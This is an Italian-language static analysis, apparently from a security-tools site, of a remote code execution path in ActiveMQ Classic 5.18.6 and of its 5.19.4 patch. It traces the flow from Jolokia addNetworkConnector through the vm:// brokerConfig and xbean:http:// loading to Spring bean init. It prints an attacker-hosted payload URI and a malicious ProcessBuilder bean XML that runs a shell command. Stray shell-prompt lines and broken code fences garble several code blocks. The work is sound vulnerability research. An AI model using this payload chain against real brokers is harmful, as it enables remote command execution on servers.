Se non esiste un broker per l'host VM richiesto, VMTransportFactory ne crea uno:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
Questo è il fallimento del confine di privilegio a livello di trasporto. Un URI fornito attraverso il piano di gestione viene valutato dal trasporto VM come un'istruzione per creare un broker da un URI di configurazione arbitrario. La restante validazione dei parametri avviene dopo la creazione del broker:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

Tale validazione non può impedire l'esecuzione di codice tramite brokerConfig, perché brokerConfig è già stato rimosso da options e consumato prima che questo controllo venga eseguito.

Il percorso di scoperta upstream è:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
Per `static:(...)`, `SimpleDiscoveryAgent.start()` emette immediatamente ogni servizio configurato:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() poi si connette all'URI interno controllato dall'attaccante.


Flusso di Creazione del Broker

La creazione del broker è gestita da:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
La ricerca del gestore è basata sullo schema:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

Per gli URI xbean:, il descrittore di servizio mappa su XBeanBrokerFactory:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
Flusso di chiamata statico esatto:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

La transizione chiave è:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
a:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

Analisi di Spring XBean

Il factory XBean rilevante è:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
`createBroker()` estrae la parte specifica dello schema dell'`xbean:` URI e crea un contesto applicativo Spring prima di verificare se contiene un broker:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

Il sink pericoloso è createApplicationContext():```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
Le risorse remote sono accettate da `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

Pertanto:```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
si riduce a:```text
http://192.168.1.32:9999/evil.xml

e caricato come UrlResource di Spring.

La chiamata a reader.setValidating(isValidate()) controlla solo la modalità di validazione XML in XmlBeanDefinitionReader di Spring. Non limita le classi dei bean, gli argomenti del costruttore, i metodi del ciclo di vita o le risorse URL remote.


Analisi dell'istanziazione dei bean Spring

ActiveMQ 5.18.6 dichiara:```xml 5.3.39 4.25

root@kitploit:~
In XBean 4.25, `ResourceXmlApplicationContext` chiama `refresh()` dal suo costruttore:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Carica le definizioni dei bean dalla risorsa fornita:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
Il metodo `AbstractApplicationContext.refresh()` di Spring inizializza quindi il bean factory e istanzia i bean singleton non lazy:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() chiama:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()` crea ogni bean non astratto, singleton, non lazy:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

Durante l'inizializzazione del bean, Spring richiama i metodi init personalizzati:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
Il metodo init personalizzato viene risolto dalla definizione del bean:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod() invoca il metodo in modo riflessivo:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
Un bean Spring XML malevolo come:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

causa il seguente comportamento:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
Ciò avviene prima che `XBeanBrokerFactory.createBroker()` convalidi il contesto risultante cercando un bean `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

La validazione del broker avviene dopo il refresh del contesto Spring. Di conseguenza, una configurazione può eseguire metodi di inizializzazione arbitrari e ancora essere rifiutata in seguito come configurazione di broker non valida.


Analisi delle Cause Principali

La causa principale è un ponte architetturale non sicuro tra un'operazione di gestione richiamabile da remoto e i meccanismi fidati di bootstrap del broker locale.

Il design vulnerabile ha queste proprietà:

  • Jolokia espone operazioni JMX exec per gli MBean di gestione del broker ActiveMQ.
  • BrokerView.addNetworkConnector(String) accetta input URI controllato dall'attaccante.
  • L'URI viene passato al codice di networking di ActiveMQ senza una restrizione a livello di gestione sugli schemi di trasporto pericolosi.
  • La scoperta static:(...) fa sì che l'URI racchiuso venga connesso automaticamente quando il connettore di rete si avvia.
  • Il trasporto vm:// non è solo un trasporto in-VM; supporta anche la creazione automatica di un broker quando il broker VM nominato è assente.
  • VMTransportFactory tratta brokerConfig come un URI di factory del broker e lo inoltra a BrokerFactory.createBroker().
  • BrokerFactory supporta URI xbean: tramite XBeanBrokerFactory.
  • XBeanBrokerFactory accetta risorse URL e costruisce un ResourceXmlApplicationContext di Spring.
  • Spring istanzia con zelo i bean singleton e invoca metodi di inizializzazione personalizzati durante il refresh del contesto.
  • ActiveMQ verifica se il contesto contiene un BrokerService valido solo dopo che Spring ha già inizializzato il contesto.

Non si tratta semplicemente di "validazione dell'input impropria" in isolamento. Il comportamento vulnerabile è causato dall'esposizione di un interprete URI in grado di configurare attraverso un'operazione JMX runtime e dal permettere a tale interprete di raggiungere l'esecuzione del ciclo di vita dei bean Spring.

Il fallimento preciso è che l'API di gestione tratta discoveryAddress come un indirizzo di connettore, ma lo stack di trasporto a valle lo tratta come configurazione eseguibile. Nel percorso di exploit, la stringa viene valutata come:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
La validazione avviene troppo tardi poiché l'unica validazione della configurazione del broker in `XBeanBrokerFactory` avviene dopo:```java
new ResourceXmlApplicationContext(resource)

e quel costruttore esegue:```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
Quando ActiveMQ determina che l'XML non ha un valido `BrokerService`, i bean Spring controllati dall'attaccante potrebbero già essere stati eseguiti.

---

### Analisi della Patch

Il diff pertinente è stato revisionato con:```bash
git diff activemq-5.18.6..activemq-5.19.4

La modifica rilevante per la sicurezza si trova in:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
In 5.18.6, `addNetworkConnector()` ha inoltrato direttamente la stringa:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

In 5.19.4, è stata aggiunta una validazione prima di chiamare BrokerService:```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
La stessa validazione è stata aggiunta a `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

Il validatore rifiuta gli schemi di trasporto vm:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
Il percorso di esecuzione corretto diventa:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

Questo blocca l'exploit prima che la richiesta raggiunga:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
La patch non rimuove il supporto del trasporto VM a livello globale. Limita l'uso di `vm://` attraverso i metodi di creazione del connettore `BrokerView` esposti a JMX. I percorsi di codice interni o attendibili che utilizzano il trasporto VM esistono ancora.

Non è stata apportata alcuna modifica rilevante per la sicurezza a `VMTransportFactory.doCompositeConnect()` tra 5.18.6 e 5.19.4. Il comportamento di `brokerConfig` rimane:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

Nessuna modifica rilevante per la sicurezza è stata apportata a XBeanBrokerFactory.createApplicationContext() in questo diff. Le risorse URL remote e il comportamento di Spring ResourceXmlApplicationContext rimangono disponibili per il caricamento affidabile della configurazione del broker.

BrokerFactory è passato da un FactoryFinder grezzo a un FactoryFinder<BrokerFactoryHandler> tipizzato:```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
Questa è una pulizia di type-safety, non la mitigazione RCE. Il dispatch basato su schema verso `XBeanBrokerFactory` rimane.

`BrokerService` ha ottenuto controlli `isAutoStart()` per l'avvio del connettore in alcuni percorsi:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Questa non è la correzione principale per il percorso Jolokia-to-RCE. La mitigazione principale è il rifiuto pre-dispatch di vm:// in BrokerView.

Riepilogo del comportamento della patch:

  • 5.18.6: BrokerView.addNetworkConnector() accetta static:(vm://...?brokerConfig=xbean:http://...) e lo passa a valle.
  • 5.19.4: BrokerView.addNetworkConnector() convalida l'URI fornito prima della creazione del connettore e rifiuta l'uso annidato di vm://.
  • 5.18.6: VMTransportFactory può consumare brokerConfig controllato dall'attaccante raggiunto dal percorso JMX.
  • 5.19.4: VMTransportFactory supporta ancora brokerConfig, ma il percorso JMX esposto viene bloccato prima della risoluzione del trasporto VM.

Conclusione dell'analisi statica

Il percorso esatto del codice vulnerabile in ActiveMQ Classic 5.18.6 è:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
Lo sfruttamento è possibile perché ActiveMQ espone un'operazione di gestione che accetta un URI del connettore, ma l'implementazione del trasporto a valle può interpretare quell'URI come configurazione di creazione del broker. Il parametro `brokerConfig` passa dalla logica di connessione del trasporto alla logica della fabbrica del broker. Con un valore `xbean:`, passa nuovamente nell'elaborazione XML di Spring.

La primitiva di esecuzione di Spring non è un bug separato di deserializzazione. È un comportamento normale del ciclo di vita di Spring: un bean singleton non lazy viene istanziato durante l'aggiornamento del contesto e viene invocato il suo `init-method` configurato. Un bean `java.lang.ProcessBuilder` con `init-method="start"` esegue quindi un processo durante l'inizializzazione del contesto dell'applicazione.

Il fallimento della validazione è un difetto di ordinamento. ActiveMQ convalida se la configurazione XBean contiene un `BrokerService` utilizzabile solo dopo che `ResourceXmlApplicationContext` ha già caricato l'XML e inizializzato i bean singleton. Il rifiuto della configurazione del broker dopo l'aggiornamento non annulla gli effetti collaterali dei metodi del ciclo di vita dei bean.

La patch 5.19.4 mitiga questo percorso specifico aggiungendo la validazione dell'URI in `BrokerView` prima della creazione del connettore e rifiutando l'uso del trasporto `vm://` dalla superficie di gestione JMX. La patch blocca il percorso esposto verso `VMTransportFactory.doCompositeConnect()`; non rimuove `brokerConfig`, il supporto `xbean:` o il caricamento di Spring XBean da percorsi di configurazione interna affidabili.
Scarica lo strumento